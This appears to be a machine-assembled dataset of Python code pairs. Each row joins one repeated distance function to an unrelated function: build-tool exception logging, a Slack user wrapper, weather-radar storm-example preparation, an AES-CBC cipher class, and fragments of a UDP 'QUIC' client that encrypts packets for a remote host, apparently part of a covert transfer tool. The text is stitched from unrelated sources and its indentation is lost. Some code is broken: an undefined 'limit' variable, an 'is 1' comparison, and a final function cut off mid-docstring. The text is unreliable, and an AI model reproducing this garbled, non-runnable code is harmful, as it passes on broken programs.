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def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _format_exception_message(cls, msg, pid):
return cls._EXCEPTION_LOG_FORMAT.format(
timestamp=cls._iso_timestamp_for_now(),
process_title=setproctitle.getproctitle(),
args=sys.argv,
pid=pid,
message=msg,
) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _format_traceback(cls, traceback_lines, should_print_backtrace):
if should_print_backtrace:
traceback_string = "\n{}".format("".join(traceback_lines))
else:
traceback_string = " {}".format(cls._traceback_omitted_default_text)
return traceback_string |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _format_unhandled_exception_log(cls, exc, tb, add_newline, should_print_backtrace):
exc_type = type(exc)
exception_full_name = "{}.{}".format(exc_type.__module__, exc_type.__name__)
exception_message = str(exc) if exc else "(no message)"
maybe_newline = "\n" if add_newline else ""
return cls._UNHANDLED_EXCEPTION_LOG_FORMAT.format(
exception_type=exception_full_name,
backtrace=cls._format_traceback(
traceback_lines=traceback.format_tb(tb),
should_print_backtrace=should_print_backtrace,
),
exception_message=exception_message,
maybe_newline=maybe_newline,
) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _exit_with_failure(cls, terminal_msg):
timestamp_msg = (
f"timestamp: {cls._iso_timestamp_for_now()}\n"
if cls._should_print_backtrace_to_terminal
else ""
)
details_msg = (
""
if cls._should_print_backtrace_to_terminal
else "\n\n(Use --print-exception-stacktrace to see more error details.)"
)
terminal_msg = terminal_msg or "<no exit reason provided>"
formatted_terminal_msg = cls._EXIT_FAILURE_TERMINAL_MESSAGE_FORMAT.format(
timestamp_msg=timestamp_msg, terminal_msg=terminal_msg, details_msg=details_msg
)
# Exit with failure, printing a message to the terminal (or whatever the interactive stream is).
cls._exiter.exit_and_fail(msg=formatted_terminal_msg, out=cls._interactive_output_stream) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _log_unhandled_exception_and_exit(
cls, exc_class=None, exc=None, tb=None, add_newline=False
):
"""A sys.excepthook implementation which logs the error and exits with failure."""
exc_class = exc_class or sys.exc_info()[0]
exc = exc or sys.exc_info()[1]
tb = tb or sys.exc_info()[2]
# This exception was raised by a signal handler with the intent to exit the program.
if exc_class == SignalHandler.SignalHandledNonLocalExit:
return cls._handle_signal_gracefully(exc.signum, exc.signame, exc.traceback_lines)
extra_err_msg = None
try:
# Always output the unhandled exception details into a log file, including the traceback.
exception_log_entry = cls._format_unhandled_exception_log(
exc, tb, add_newline, should_print_backtrace=True
)
cls.log_exception(exception_log_entry)
except Exception as e:
extra_err_msg = "Additional error logging unhandled exception {}: {}".format(exc, e)
logger.error(extra_err_msg)
# Generate an unhandled exception report fit to be printed to the terminal (respecting the
# Exiter's should_print_backtrace field).
if cls._should_print_backtrace_to_terminal:
stderr_printed_error = cls._format_unhandled_exception_log(
exc, tb, add_newline, should_print_backtrace=cls._should_print_backtrace_to_terminal
)
if extra_err_msg:
stderr_printed_error = "{}\n{}".format(stderr_printed_error, extra_err_msg)
else:
# If the user didn't ask for a backtrace, show a succinct error message without
# all the exception-related preamble. A power-user/pants developer can still
# get all the preamble info along with the backtrace, but the end user shouldn't
# see that boilerplate by default.
error_msgs = getattr(exc, "end_user_messages", lambda: [str(exc)])()
stderr_printed_error = "\n" + "\n".join(f"ERROR: {msg}" for msg in error_msgs)
cls._exit_with_failure(stderr_printed_error) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _handle_signal_gracefully(cls, signum, signame, traceback_lines):
"""Signal handler for non-fatal signals which raises or logs an error and exits with
failure."""
# Extract the stack, and format an entry to be written to the exception log.
formatted_traceback = cls._format_traceback(
traceback_lines=traceback_lines, should_print_backtrace=True
)
signal_error_log_entry = cls._CATCHABLE_SIGNAL_ERROR_LOG_FORMAT.format(
signum=signum, signame=signame, formatted_traceback=formatted_traceback
)
# TODO: determine the appropriate signal-safe behavior here (to avoid writing to our file
# descriptors re-entrantly, which raises an IOError).
# This method catches any exceptions raised within it.
cls.log_exception(signal_error_log_entry)
# Create a potentially-abbreviated traceback for the terminal or other interactive stream.
formatted_traceback_for_terminal = cls._format_traceback(
traceback_lines=traceback_lines,
should_print_backtrace=cls._should_print_backtrace_to_terminal,
)
terminal_log_entry = cls._CATCHABLE_SIGNAL_ERROR_LOG_FORMAT.format(
signum=signum, signame=signame, formatted_traceback=formatted_traceback_for_terminal
)
# Exit, printing the output to the terminal.
cls._exit_with_failure(terminal_log_entry) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, raw_data):
self._raw = raw_data |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __getitem__(self, key):
return self._raw[key] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def display_name(self):
"""
Find the most appropriate display name for a user: look for a "display_name", then
a "real_name", and finally fall back to the always-present "name".
"""
for k in self._NAME_KEYS:
if self._raw.get(k):
return self._raw[k]
if "profile" in self._raw and self._raw["profile"].get(k):
return self._raw["profile"][k]
return self._raw["name"] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def email(self):
"""
Shortcut property for finding the e-mail address or bot URL.
"""
if "profile" in self._raw:
email = self._raw["profile"].get("email")
elif "bot_url" in self._raw:
email = self._raw["bot_url"]
else:
email = None
if not email:
logging.debug("No email found for %s", self._raw.get("name"))
return email |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def image_url(self, pixel_size=None):
"""
Get the URL for the user icon in the desired pixel size, if it exists. If no
size is supplied, give the URL for the full-size image.
"""
if "profile" not in self._raw:
return
profile = self._raw["profile"]
if (pixel_size):
img_key = "image_%s" % pixel_size
if img_key in profile:
return profile[img_key]
return profile[self._DEFAULT_IMAGE_KEY] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def md5(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest() |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _read_soundings(sounding_file_name, sounding_field_names, radar_image_dict):
"""Reads storm-centered soundings and matches w storm-centered radar imgs.
:param sounding_file_name: Path to input file (will be read by
`soundings.read_soundings`).
:param sounding_field_names: See doc for `soundings.read_soundings`.
:param radar_image_dict: Dictionary created by
`storm_images.read_storm_images`.
:return: sounding_dict: Dictionary created by `soundings.read_soundings`.
:return: radar_image_dict: Same as input, but excluding storm objects with
no sounding.
"""
print('Reading data from: "{0:s}"...'.format(sounding_file_name))
sounding_dict, _ = soundings.read_soundings(
netcdf_file_name=sounding_file_name,
field_names_to_keep=sounding_field_names,
full_id_strings_to_keep=radar_image_dict[storm_images.FULL_IDS_KEY],
init_times_to_keep_unix_sec=radar_image_dict[
storm_images.VALID_TIMES_KEY]
)
num_examples_with_soundings = len(sounding_dict[soundings.FULL_IDS_KEY])
if num_examples_with_soundings == 0:
return None, None
radar_full_id_strings = numpy.array(
radar_image_dict[storm_images.FULL_IDS_KEY]
)
orig_storm_times_unix_sec = (
radar_image_dict[storm_images.VALID_TIMES_KEY] + 0
)
indices_to_keep = []
for i in range(num_examples_with_soundings):
this_index = numpy.where(numpy.logical_and(
radar_full_id_strings == sounding_dict[soundings.FULL_IDS_KEY][i],
orig_storm_times_unix_sec ==
sounding_dict[soundings.INITIAL_TIMES_KEY][i]
))[0][0]
indices_to_keep.append(this_index)
indices_to_keep = numpy.array(indices_to_keep, dtype=int)
radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY] = radar_image_dict[
storm_images.STORM_IMAGE_MATRIX_KEY
][indices_to_keep, ...]
radar_image_dict[storm_images.FULL_IDS_KEY] = sounding_dict[
soundings.FULL_IDS_KEY
]
radar_image_dict[storm_images.VALID_TIMES_KEY] = sounding_dict[
soundings.INITIAL_TIMES_KEY
]
return sounding_dict, radar_image_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def chunkstring(s, n):
return [ s[i:i+n] for i in xrange(0, len(s), n) ] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _create_2d_examples(
radar_file_names, full_id_strings, storm_times_unix_sec,
target_matrix, sounding_file_name=None, sounding_field_names=None):
"""Creates 2-D examples for one file time.
E = number of desired examples (storm objects)
e = number of examples returned
T = number of target variables
:param radar_file_names: length-C list of paths to storm-centered radar
images. Files will be read by `storm_images.read_storm_images`.
:param full_id_strings: length-E list with full IDs of storm objects to
return.
:param storm_times_unix_sec: length-E numpy array with valid times of storm
objects to return.
:param target_matrix: E-by-T numpy array of target values (integer class
labels).
:param sounding_file_name: Path to sounding file (will be read by
`soundings.read_soundings`). If `sounding_file_name is None`, examples
will not include soundings.
:param sounding_field_names: See doc for `soundings.read_soundings`.
:return: example_dict: Same as input for `write_example_file`, but without
key "target_names".
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(radar_file_names[0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_names[0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
num_channels = len(radar_file_names)
tuple_of_image_matrices = ()
for j in range(num_channels):
if j != 0:
print('Reading data from: "{0:s}"...'.format(radar_file_names[j]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
radar_field_names = [
storm_images.image_file_name_to_field(f) for f in radar_file_names
]
radar_heights_m_agl = numpy.array(
[storm_images.image_file_name_to_height(f) for f in radar_file_names],
dtype=int
)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: radar_field_names,
RADAR_HEIGHTS_KEY: radar_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields(
tuple_of_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, key):
self.bs = 32
self.key = hashlib.sha256(key.encode()).digest() |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _create_3d_examples(
radar_file_name_matrix, full_id_strings, storm_times_unix_sec,
target_matrix, sounding_file_name=None, sounding_field_names=None):
"""Creates 3-D examples for one file time.
:param radar_file_name_matrix: numpy array (F_r x H_r) of paths to storm-
centered radar images. Files will be read by
`storm_images.read_storm_images`.
:param full_id_strings: See doc for `_create_2d_examples`.
:param storm_times_unix_sec: Same.
:param target_matrix: Same.
:param sounding_file_name: Same.
:param sounding_field_names: Same.
:return: example_dict: Same.
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(radar_file_name_matrix[0, 0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_name_matrix[0, 0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
num_radar_fields = radar_file_name_matrix.shape[0]
num_radar_heights = radar_file_name_matrix.shape[1]
tuple_of_4d_image_matrices = ()
for k in range(num_radar_heights):
tuple_of_3d_image_matrices = ()
for j in range(num_radar_fields):
if not j == k == 0:
print('Reading data from: "{0:s}"...'.format(
radar_file_name_matrix[j, k]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=radar_file_name_matrix[j, k],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_3d_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
tuple_of_4d_image_matrices += (
dl_utils.stack_radar_fields(tuple_of_3d_image_matrices),
)
radar_field_names = [
storm_images.image_file_name_to_field(f)
for f in radar_file_name_matrix[:, 0]
]
radar_heights_m_agl = numpy.array([
storm_images.image_file_name_to_height(f)
for f in radar_file_name_matrix[0, :]
], dtype=int)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: radar_field_names,
RADAR_HEIGHTS_KEY: radar_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
RADAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights(
tuple_of_4d_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def encrypt(self, raw):
raw = self._pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(raw) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _create_2d3d_examples_myrorss(
azimuthal_shear_file_names, reflectivity_file_names,
full_id_strings, storm_times_unix_sec, target_matrix,
sounding_file_name=None, sounding_field_names=None):
"""Creates hybrid 2D-3D examples for one file time.
Fields in 2-D images: low-level and mid-level azimuthal shear
Field in 3-D images: reflectivity
:param azimuthal_shear_file_names: length-2 list of paths to storm-centered
azimuthal-shear images. The first (second) file should be (low)
mid-level azimuthal shear. Files will be read by
`storm_images.read_storm_images`.
:param reflectivity_file_names: length-H list of paths to storm-centered
reflectivity images, where H = number of reflectivity heights. Files
will be read by `storm_images.read_storm_images`.
:param full_id_strings: See doc for `_create_2d_examples`.
:param storm_times_unix_sec: Same.
:param target_matrix: Same.
:param sounding_file_name: Same.
:param sounding_field_names: Same.
:return: example_dict: Same.
"""
orig_full_id_strings = copy.deepcopy(full_id_strings)
orig_storm_times_unix_sec = storm_times_unix_sec + 0
print('Reading data from: "{0:s}"...'.format(reflectivity_file_names[0]))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=reflectivity_file_names[0],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
if this_radar_image_dict is None:
return None
if sounding_file_name is None:
sounding_matrix = None
sounding_field_names = None
sounding_heights_m_agl = None
else:
sounding_dict, this_radar_image_dict = _read_soundings(
sounding_file_name=sounding_file_name,
sounding_field_names=sounding_field_names,
radar_image_dict=this_radar_image_dict)
if this_radar_image_dict is None:
return None
if len(this_radar_image_dict[storm_images.FULL_IDS_KEY]) == 0:
return None
sounding_matrix = sounding_dict[soundings.SOUNDING_MATRIX_KEY]
sounding_field_names = sounding_dict[soundings.FIELD_NAMES_KEY]
sounding_heights_m_agl = sounding_dict[soundings.HEIGHT_LEVELS_KEY]
full_id_strings = this_radar_image_dict[storm_images.FULL_IDS_KEY]
storm_times_unix_sec = this_radar_image_dict[storm_images.VALID_TIMES_KEY]
these_indices = tracking_utils.find_storm_objects(
all_id_strings=orig_full_id_strings,
all_times_unix_sec=orig_storm_times_unix_sec,
id_strings_to_keep=full_id_strings,
times_to_keep_unix_sec=storm_times_unix_sec, allow_missing=False)
target_matrix = target_matrix[these_indices, :]
azimuthal_shear_field_names = [
storm_images.image_file_name_to_field(f)
for f in azimuthal_shear_file_names
]
reflectivity_heights_m_agl = numpy.array([
storm_images.image_file_name_to_height(f)
for f in reflectivity_file_names
], dtype=int)
num_reflectivity_heights = len(reflectivity_file_names)
tuple_of_image_matrices = ()
for j in range(num_reflectivity_heights):
if j != 0:
print('Reading data from: "{0:s}"...'.format(
reflectivity_file_names[j]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=reflectivity_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
this_matrix = numpy.expand_dims(
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY], axis=-1
)
tuple_of_image_matrices += (this_matrix,)
example_dict = {
FULL_IDS_KEY: full_id_strings,
STORM_TIMES_KEY: storm_times_unix_sec,
RADAR_FIELDS_KEY: azimuthal_shear_field_names,
RADAR_HEIGHTS_KEY: reflectivity_heights_m_agl,
ROTATED_GRIDS_KEY:
this_radar_image_dict[storm_images.ROTATED_GRIDS_KEY],
ROTATED_GRID_SPACING_KEY:
this_radar_image_dict[storm_images.ROTATED_GRID_SPACING_KEY],
REFL_IMAGE_MATRIX_KEY: dl_utils.stack_radar_heights(
tuple_of_image_matrices),
TARGET_MATRIX_KEY: target_matrix
}
if sounding_file_name is not None:
example_dict.update({
SOUNDING_FIELDS_KEY: sounding_field_names,
SOUNDING_HEIGHTS_KEY: sounding_heights_m_agl,
SOUNDING_MATRIX_KEY: sounding_matrix
})
num_az_shear_fields = len(azimuthal_shear_file_names)
tuple_of_image_matrices = ()
for j in range(num_az_shear_fields):
print('Reading data from: "{0:s}"...'.format(
azimuthal_shear_file_names[j]
))
this_radar_image_dict = storm_images.read_storm_images(
netcdf_file_name=azimuthal_shear_file_names[j],
full_id_strings_to_keep=full_id_strings,
valid_times_to_keep_unix_sec=storm_times_unix_sec)
tuple_of_image_matrices += (
this_radar_image_dict[storm_images.STORM_IMAGE_MATRIX_KEY],
)
example_dict.update({
AZ_SHEAR_IMAGE_MATRIX_KEY: dl_utils.stack_radar_fields(
tuple_of_image_matrices)
})
return example_dict |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def decrypt(self, enc):
# enc = base64.b64decode(enc)
iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _read_metadata_from_example_file(netcdf_file_name, include_soundings):
"""Reads metadata from file with input examples.
:param netcdf_file_name: Path to input file.
:param include_soundings: Boolean flag. If True and file contains
soundings, this method will return keys "sounding_field_names" and
"sounding_heights_m_agl". Otherwise, will not return said keys.
:return: example_dict: Dictionary with the following keys (explained in doc
to `write_example_file`).
example_dict['full_id_strings']
example_dict['storm_times_unix_sec']
example_dict['radar_field_names']
example_dict['radar_heights_m_agl']
example_dict['rotated_grids']
example_dict['rotated_grid_spacing_metres']
example_dict['target_names']
example_dict['sounding_field_names']
example_dict['sounding_heights_m_agl']
:return: netcdf_dataset: Instance of `netCDF4.Dataset`, which can be used to
keep reading file.
"""
netcdf_dataset = netCDF4.Dataset(netcdf_file_name)
include_soundings = (
include_soundings and
SOUNDING_FIELDS_KEY in netcdf_dataset.variables
)
example_dict = {
ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)),
TARGET_NAMES_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:])
],
FULL_IDS_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[FULL_IDS_KEY][:])
],
STORM_TIMES_KEY: numpy.array(
netcdf_dataset.variables[STORM_TIMES_KEY][:], dtype=int
),
RADAR_FIELDS_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[RADAR_FIELDS_KEY][:])
],
RADAR_HEIGHTS_KEY: numpy.array(
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int
)
}
# TODO(thunderhoser): This is a HACK to deal with bad files.
example_dict[TARGET_NAMES_KEY] = [
n for n in example_dict[TARGET_NAMES_KEY] if n != ''
]
if example_dict[ROTATED_GRIDS_KEY]:
example_dict[ROTATED_GRID_SPACING_KEY] = getattr(
netcdf_dataset, ROTATED_GRID_SPACING_KEY)
else:
example_dict[ROTATED_GRID_SPACING_KEY] = None
if not include_soundings:
return example_dict, netcdf_dataset
example_dict.update({
SOUNDING_FIELDS_KEY: [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:])
],
SOUNDING_HEIGHTS_KEY:
numpy.array(netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:],
dtype=int)
})
return example_dict, netcdf_dataset |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _pad(self, s):
return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _compare_metadata(netcdf_dataset, example_dict):
"""Compares metadata between existing NetCDF file and new batch of examples.
This method contains a large number of `assert` statements. If any of the
`assert` statements fails, this method will error out.
:param netcdf_dataset: Instance of `netCDF4.Dataset`.
:param example_dict: See doc for `write_examples_with_3d_radar`.
:raises: ValueError: if the two sets have different metadata.
"""
include_soundings = SOUNDING_MATRIX_KEY in example_dict
orig_example_dict = {
TARGET_NAMES_KEY: [
str(s) for s in
netCDF4.chartostring(netcdf_dataset.variables[TARGET_NAMES_KEY][:])
],
ROTATED_GRIDS_KEY: bool(getattr(netcdf_dataset, ROTATED_GRIDS_KEY)),
RADAR_FIELDS_KEY: [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[RADAR_FIELDS_KEY][:])
],
RADAR_HEIGHTS_KEY: numpy.array(
netcdf_dataset.variables[RADAR_HEIGHTS_KEY][:], dtype=int
)
}
if example_dict[ROTATED_GRIDS_KEY]:
orig_example_dict[ROTATED_GRID_SPACING_KEY] = int(
getattr(netcdf_dataset, ROTATED_GRID_SPACING_KEY)
)
if include_soundings:
orig_example_dict[SOUNDING_FIELDS_KEY] = [
str(s) for s in netCDF4.chartostring(
netcdf_dataset.variables[SOUNDING_FIELDS_KEY][:])
]
orig_example_dict[SOUNDING_HEIGHTS_KEY] = numpy.array(
netcdf_dataset.variables[SOUNDING_HEIGHTS_KEY][:], dtype=int
)
for this_key in orig_example_dict:
if isinstance(example_dict[this_key], numpy.ndarray):
if numpy.array_equal(example_dict[this_key],
orig_example_dict[this_key]):
continue
else:
if example_dict[this_key] == orig_example_dict[this_key]:
continue
error_string = (
'\n"{0:s}" in existing NetCDF file:\n{1:s}\n\n"{0:s}" in new batch '
'of examples:\n{2:s}\n\n'
).format(
this_key, str(orig_example_dict[this_key]),
str(example_dict[this_key])
)
raise ValueError(error_string) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _unpad(s):
return s[:-ord(s[len(s)-1:])] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _filter_examples_by_class(target_values, downsampling_dict,
test_mode=False):
"""Filters examples by target value.
E = number of examples
:param target_values: length-E numpy array of target values (integer class
labels).
:param downsampling_dict: Dictionary, where each key is the integer
ID for a target class (-2 for "dead storm") and the corresponding value
is the number of examples desired from said class. If
`downsampling_dict is None`, `example_dict` will be returned
without modification.
:param test_mode: Never mind. Just leave this alone.
:return: indices_to_keep: 1-D numpy array with indices of examples to keep.
These are all integers in [0, E - 1].
"""
num_examples = len(target_values)
if downsampling_dict is None:
return numpy.linspace(0, num_examples - 1, num=num_examples, dtype=int)
indices_to_keep = numpy.array([], dtype=int)
class_keys = list(downsampling_dict.keys())
for this_class in class_keys:
this_num_storm_objects = downsampling_dict[this_class]
these_indices = numpy.where(target_values == this_class)[0]
this_num_storm_objects = min(
[this_num_storm_objects, len(these_indices)]
)
if this_num_storm_objects == 0:
continue
if test_mode:
these_indices = these_indices[:this_num_storm_objects]
else:
these_indices = numpy.random.choice(
these_indices, size=this_num_storm_objects, replace=False)
indices_to_keep = numpy.concatenate((indices_to_keep, these_indices))
return indices_to_keep |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def __init__(self, host, key, port=443, max_size=4096):
# Params for all class
self.host = host
self.port = port
self.max_size = max_size - 60
self.AESDriver = AESCipher(key=key)
self.serv_addr = (host, port)
# Class Globals
self.max_packets = 255 # Limitation by QUIC itself.
self._genSeq() # QUIC Sequence is used to know that this is the same sequence,
# and it's a 20 byte long that is kept the same through out the
# session and is transfered hex encoded.
self.delay = 0.1
self.sock = None
if self._createSocket() is 1: # Creating a UDP socket object
sys.exit(1)
self.serv_addr = (self.host, self.port) # Creating socket addr format |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _file_name_to_batch_number(example_file_name):
"""Parses batch number from file.
:param example_file_name: See doc for `find_example_file`.
:return: batch_number: Integer.
:raises: ValueError: if batch number cannot be parsed from file name.
"""
pathless_file_name = os.path.split(example_file_name)[-1]
extensionless_file_name = os.path.splitext(pathless_file_name)[0]
return int(extensionless_file_name.split('input_examples_batch')[-1]) |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _genSeq(self):
self.raw_sequence = random.getrandbits(64)
parts = []
while self.raw_sequence:
parts.append(self.raw_sequence & limit)
self.raw_sequence >>= 32
self.sequence = struct.pack('<' + 'L'*len(parts), *parts)
# struct.unpack('<LL', '\xb1l\x1c\xb1\x11"\x10\xf4')
return 0 |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _check_target_vars(target_names):
"""Error-checks list of target variables.
Target variables must all have the same mean lead time (average of min and
max lead times) and event type (tornado or wind).
:param target_names: 1-D list with names of target variables. Each must be
accepted by `target_val_utils.target_name_to_params`.
:return: mean_lead_time_seconds: Mean lead time (shared by all target
variables).
:return: event_type_string: Event type.
:raises: ValueError: if target variables do not all have the same mean lead
time or event type.
"""
error_checking.assert_is_string_list(target_names)
error_checking.assert_is_numpy_array(
numpy.array(target_names), num_dimensions=1
)
num_target_vars = len(target_names)
mean_lead_times = numpy.full(num_target_vars, -1, dtype=int)
event_type_strings = numpy.full(num_target_vars, '', dtype=object)
for k in range(num_target_vars):
this_param_dict = target_val_utils.target_name_to_params(
target_names[k]
)
event_type_strings[k] = this_param_dict[target_val_utils.EVENT_TYPE_KEY]
mean_lead_times[k] = int(numpy.round(
(this_param_dict[target_val_utils.MAX_LEAD_TIME_KEY] +
this_param_dict[target_val_utils.MIN_LEAD_TIME_KEY])
/ 2
))
if len(numpy.unique(mean_lead_times)) != 1:
error_string = (
'Target variables (listed below) have different mean lead times.'
'\n{0:s}'
).format(str(target_names))
raise ValueError(error_string)
if len(numpy.unique(event_type_strings)) != 1:
error_string = (
'Target variables (listed below) have different event types.\n{0:s}'
).format(str(target_names))
raise ValueError(error_string)
return mean_lead_times[0], event_type_strings[0] |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _createSocket(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock = sock
return 0
except socket.error as e:
sys.stderr.write("[!]\tFailed to create a UDP socket.\n%s.\n" % e)
return 1 |
def dist(a, b):
return sum((i-j)**2 for i, j in zip(a, b)) | def _check_layer_operation(example_dict, operation_dict):
"""Error-checks layer operation.
Such operations are used for dimensionality reduction (to convert radar data
from 3-D to 2-D).
:param example_dict: See doc for `reduce_examples_3d_to_2d`.
:param operation_dict: Dictionary with the following keys.
operation_dict["radar_field_name"]: Field to which operation will be
applied.
